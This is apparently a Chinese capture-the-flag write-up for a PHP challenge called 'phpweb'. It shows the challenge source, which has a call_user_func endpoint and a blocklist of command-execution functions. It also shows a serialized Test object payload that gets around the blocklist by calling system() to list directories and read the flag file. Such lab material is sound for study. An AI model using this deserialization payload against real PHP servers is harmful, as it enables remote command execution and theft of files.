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phpweb

利用func=file_get_contents&p=index.php拿到源码

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
    ,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch"
    ,"escapeshellcmd","escapeshellarg","assert","substr_replace"
    ,"call_user_func_array","call_user_func","array_filter", "array_walk"
    ,"array_map","registregister_shutdown_function","register_tick_function"
    ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
    ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);    //call_user_func — 把第一个参数作为回调函数调用
    $a= gettype($result);   //返回 PHP 变量的类型 var.
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

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反序列化Test,利用call_user_func函数进行绕过，文件名匹配可以用反序列化绕过

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
$a -> p="ls ../../../../../";
$a -> func = "system";
print_r(urlencode(serialize($a)));

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$a = new Test();
$a -> p="cat /tmp/flagoefiu4r93";
#$a -> p="find / -name flag*";
$a -> func = "system";
print_r(urlencode(serialize($a)));

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